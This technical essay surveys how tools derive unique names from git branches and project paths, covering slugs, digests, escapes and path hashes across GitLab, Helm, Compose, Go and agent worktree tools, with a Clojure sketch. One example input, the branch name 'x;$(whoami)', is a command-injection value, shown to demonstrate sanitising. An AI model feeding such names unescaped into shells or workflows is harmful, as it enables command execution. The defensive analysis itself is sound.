There are five shapes. Every system below is one of them or a pair.

Choosing between them:

• A lossy slug is a label for people. It is safe as a key only when the inputs are already known to be distinct after slugging, and a branch namespace that anyone can push to is never that.
• When the name must be readable and unique, append a digest of the exact input. Truncate the readable part and keep the digest whole. GitLab, Poetry, pipenv and Cloudflare all arrived here.
• Decide whether the digest is added always or only when the slug changed the input. "Only when changed" keeps clean names clean, and it lets a clean name be chosen to equal another input's slug-plus-digest (shown in the worked example).
• A reversible escape keeps uniqueness without a hash and grows with the input. Emacs offers a hash as the alternative for long names, and Claude Code truncates at 200 characters and appends one.
• A hash of a path is stable only while the path is. Moving a project orphans a Poetry or pipenv environment, a Bazel output base and a Claude Code transcript directory alike. VS Code salts the hash with the folder's creation time (its inode number on Linux) on purpose, so a recreated folder gets fresh state.
• A name is data on the way in. Git accepts a branch named with quotes, semicolons and $(...). Any step that pastes the name into a shell, a workflow expression or a URL has to treat it as hostile, and the slug is what makes it inert.
• Fold case before comparing. The default macOS and Windows filesystems treat Feat and feat as one name, so a key that differs only by case names one directory there and two on Linux.

The 63 comes from the wire format. RFC 1035 (November 1987) gives each label a one-octet length whose top two bits must be zero: "the remaining six bits of the length field limit the label to 63 octets or less". A whole name is limited to 255 octets. RFC 1123 later relaxed the first character "to allow either a letter or a digit".

GitLab's 24-byte environment slug is a slug-plus-digest rule that states its reason. The comment in the source reads: "Slugifying a name may remove the uniqueness guarantee afforded by it being based on name (which must be unique). To compensate, we add a predictable 6-byte suffix in those circumstances. This is not guaranteed uniqueness, but the chance of collisions is vanishingly small". The 24 is attributed in the same file to an OpenShift limit.

The issue that proposed the ref slug gave two reasons: a branch such as feature/bar cannot be a Docker image tag, and cannot be a review-app subdomain (confirmed from the issue; opened 2016-09-30, milestone 8.15).

Helm's starter chart carries the same limit into every chart made with helm create. The template reads:

{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}

with the comment "We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec)" (confirmed, create.go). Truncation alone is a lossy slug: two long release names with a common 63-character prefix produce one resource name.

Two consequences follow from the Compose code as read. The default project name is the directory's base name with its parent dropped, so two checkouts both named app share a project and its containers, networks and volumes unless one is renamed. And deletion collides where replacement would not: my.app and myapp normalise to the same name. Neither was run here.

The Dev Containers id is the digest-only shape, chosen because a feature such as docker-in-docker needs a volume per container and the example in the spec names it dind-var-lib-docker-${devcontainerId}.

Poetry and pipenv are the same answer reached twice: name plus a hash of where the project lives. pipenv's documentation states the cost. After a move or rename, "pipenv --venv will report an error", and the old environment is left behind.

direnv hashes the contents with the path, so the key is a statement about a particular version of a file at a particular place. An edit or a move both revoke it. Nix puts the digest first and the name second, and the name is there for people.

Go's rule is the one most relevant to branch names, because it is aimed at the same hazard. The comment in module.go gives the reasoning: the download cache has to work on a case-insensitive filesystem, a hex encoding "would be fairly illegible to most programmers when those paths appeared in the file system", so the escape should leave most paths alone. It works only because "Import paths have never allowed exclamation marks". A scheme for branch names has no such luck: git allows ! in a ref.

systemd states its guarantee and the condition on it: the escaping "is fully reversible, as long as it is known whether the escaped string was a path". The Emacs manual does not say what happens to a ! already in a file name. The source does: files.el doubles it to !! before turning / into !, so /a/b and /a!b stay apart, but /a!/b and /a/!b both become !a!!!b (confirmed, files.el under emacs --batch). Vim's manual says the % form "will ensure file name uniqueness"; it does not escape a literal %, so /a%b and /a/b both become %a%b (make_percent_swname in memline.c). Emacs adds the length caveat: "This will not work correctly if your filesystem truncates the resulting name."

0.5 is the first version in the xdg-specs history. A patch adding XDG_STATE_HOME was posted to the xdg list on 19 August 2019; it entered the spec repository in November 2020.

The 0.8 text says the state directory "contains state data that should persist between (application) restarts, but that is not important or portable enough to the user that it should be stored in $XDG_DATA_HOME", with history, logs, recently used files and layout as examples.

The specification says nothing about projects, checkouts, workspaces or branches. A search of the 0.8 XML for those words finds none of them. It defines a base directory and stops. Everything under $XDG_STATE_HOME/<tool>/ is the tool's to name, which is why each tool above has its own rule.

The ref-name rules exist, the git manual says, to "make it easy for shell script based tools to parse reference names" and to avoid ambiguity in revision syntax. They are not a safety filter: quotes, semicolons, backticks, $, parentheses, ! and any non-ASCII character are all allowed.

Loose refs are files, so a case-insensitive filesystem applies its own rule on top of git's. The worked example below has the observation.

What each product documents, and no more. All confirmed from the product's own documentation or source on 2026-10-10 unless marked.

Limits are documented by two of them. Codex "keeps your most recent 15 Codex-managed worktrees" and snapshots before deleting. Cursor's "default cap is 25 worktrees per machine". Claude Code and Codex both copy ignored files into a new worktree from a .worktreeinclude file; Cursor runs a setup script from .cursor/worktrees.json and passes $ROOT_WORKTREE_PATH.

One of them assigns a port: Conductor's CONDUCTOR_PORT is the "First port in a range of 10 ports assigned to a local workspace". None assigns a database name. Most use assigned names for the worktree itself; Vibe Kanban instead slugs the task title to 16 characters and prefixes four hex digits of a UUID. Either way the branch-to-name problem is pushed onto whatever the project's own tooling does next.

Git's own answer for its per-worktree directory under $GIT_DIR/worktrees is the oldest in this section (git 2.5.0, July 2015): "the base name of the linked worktree's path, possibly appended with a number to make it unique" (confirmed, git-worktree).

This is first-hand: one project, macOS, 2026-10-10. The task was to name a test database per checkout and per branch under $XDG_STATE_HOME.

What git accepted and refused as a branch name:

With feat/A present as a loose ref, git refused feat/a as already existing; after git pack-refs --all it accepted feat/a as a second branch. With core.precomposeUnicode on, it treated a decomposed å as the composed one. Both are the filesystem's rule showing through.

The checkout key copied the Claude Code rule: the absolute path with each non-alphanumeric turned into a hyphen. Two copies of that rule existed, one in shell and one elsewhere in the tooling, and they disagreed:

printf '%s' "$path" | LC_ALL=C tr -c 'A-Za-z0-9-' '-'

tr in the C locale replaces bytes. The other copy replaced characters. For å, two bytes in UTF-8, one gave two hyphens and the other gave one. Any non-ASCII path made the two halves of the tooling look in different places.

A property test over generated branch names found a second bug within 15 cases: an empty name produced an empty key, and a path ending in an empty segment is the parent directory.

The fix was one function, used by both sides. A branch that is already lower-case words joined by single hyphens is its own key. Anything else gets a lower-cased readable slug plus 8 hex characters of a digest of the exact name. When no name can be derived, the variable is pointed at an unwritable path, so a test run fails at once and cannot write into a shared database.

A sketch of that shape, run under Babashka for this note. It is a reconstruction for illustration and is not the project's code.

(require '[clojure.string :as str])
(import '(java.security MessageDigest) '(java.util Locale))

(defn hex8 [s]
  (->> (.digest (MessageDigest/getInstance "SHA-256") (.getBytes s "UTF-8"))
       (take 4)
       (map #(format "%02x" (bit-and % 0xff)))
       (apply str)))

(defn branch-key [branch]
  (when (str/blank? branch)
    (throw (ex-info "no branch name; refusing to derive a key" {})))
  (if (re-matches #"[a-z0-9]+(-[a-z0-9]+)*" branch)
    branch
    (let [slug (-> (.toLowerCase branch Locale/ROOT)
                   (str/replace #"[^a-z0-9]+" "-")
                   (str/replace #"^-|-$" ""))
          slug (str/replace (subs slug 0 (min 40 (count slug))) #"-$" "")]
      (str slug (when (seq slug) "-") (hex8 branch)))))

(branch-key "fix-login")    ;;=> "fix-login"
(branch-key "feat/a")       ;;=> "feat-a-d54ad782"
(branch-key "feat/A")       ;;=> "feat-a-c59fa721"
(branch-key "x;$(whoami)")  ;;=> "x-whoami-957fe0c7"
(branch-key "å")            ;;=> "e83979df"
(branch-key "å")      ;;=> "a-56bb553c"

Running it showed two limits of the sketch.

• A clean name passes through unchanged, so the branch literally named feat-a-d54ad782 gets the same key as feat/a. Whoever can name a branch can aim at another branch's state. Appending the digest to every name closes this and costs the clean names.
• The composed and decomposed å get different keys, while git on that machine treats them as one branch. The name has to be normalised to one Unicode form before it is hashed, or the key depends on how the name was typed.

Looked for and not established on 2026-10-10. None of this is asserted above.

• Vercel's truncation algorithm. A search summary describes cutting to 56 characters and appending 6 characters of a SHA-256 of prefix, branch and project name. The current documentation page and the knowledge-base page on shortened URLs give no algorithm. Secondary at best.
• Netlify's handling of long or unusual branch names. A support-forum answer says a branch subdomain over the label limit cannot be used. Not in the documentation read.
• The exact form of predictable Heroku review app names. (App names are 3 to 30 characters, ^[a-z][a-z0-9-]{1,28}[a-z0-9]$, per the Platform API schema.)
• The date Compose V1 support ended. Docker's blog (2023-01-31) says after June 2023; vendor blog only.
• ccache. Not checked; it keys on content, which is a different question.
• Aider. Nothing about worktrees in the page fetched, and no match for "worktree" in the Aider-AI/aider repository's code search.
• Vibe Kanban's default workspace directory. Its settings doc says "typically your home directory"; the source uses the system temp directory.

Slugs and DNS:

• RFC 1035, section 2.3.4 and 3.1 – label and name limits; RFC 1123, section 2.1
• GitLab predefined CI/CD variables; utils.rb – slugify; slug/environment.rb; the 9.0 variables page; the 8.15 variables page; issue 22849
• Vercel: generated URLs
• Cloudflare changelog: long branch names in preview aliases
• Netlify: deploy overview; support forum thread – secondary
• Heroku: review apps
• Kubernetes: object names and IDs
• Helm create.go – the starter chart's helpers

Containers:

• moby names.go
• Docker Compose: project name; compose-go loader.go – NormalizeProjectName
• Docker blog: Compose V2 general availability – vendor blog; Docker blog: V1 deprecation
• Compose V1 command.py; V1 changelog – 1.21.0; compose-go options.go
• Dev Containers: the devcontainerId proposal

Hashes:

• Bazel: output directory layout
• VS Code workspaces.ts
• Poetry env_manager.py – generate_env_name
• pipenv venv_locator.py; pipenv: virtual environments
• direnv rc.go – fileHash
• Nix: complete store path calculation
• Cargo Home – read; does not mention hashes; cargo registry/mod.rs – short_name

Escapes:

• Go Modules Reference; module.go – the escaped-path comment
• systemd.unit – string escaping for unit names
• Vim options.txt – directory, backupdir
• Emacs Lisp manual: backups and auto-saving; files.el – make-backup-file-name-1
• RFC 3492; RFC 3986

XDG, filesystems, git:

• XDG Base Directory Specification 0.6, 0.7, 0.8; the 2019 patch; xdg-specs history – 0.5
• Apple File System Guide: FAQ – archived; Apple TN1150 – HFS+ normalisation
• git-config; git-check-ref-format; git-worktree
• Microsoft: naming files, paths, and namespaces

Incidents:

• CVE-2014-9390; Git 1.9.5 release notes; GitHub blog, 2014-12-18
• CVE-2021-21300; Git 2.17.6 release notes
• GitHub Security Lab: untrusted input in GitHub Actions
• GHSA-7x29-qqmq-v6qc – the Ultralytics action advisory
• William Woodruff: the Ultralytics injection – secondary
• PyPI: Ultralytics attack analysis

Agent harnesses:

• Claude Code: worktrees, sessions, memory
• Codex: git worktrees
• Cursor: worktrees
• container-use repository.go, git.go
• Cursor CLI: worktrees
• Vibe Kanban: container.rs, worktree_manager.rs, text.rs
• Conductor: git worktrees, cities, environment variables

• A Practical Layout for Agent Identities – the same problem for credentials: the path is the identifier
• Identity Store Specification: A Stack of Drafts – the layout sealed; its v2 puts realms and handles in one normal form
• Claude Code Features: 2026 Q2 – worktrees as a product feature
• Agent Sandbox Systems – isolation by container and jail, where these names end up
• Five Boundaries, Four Isolations – what isolation is for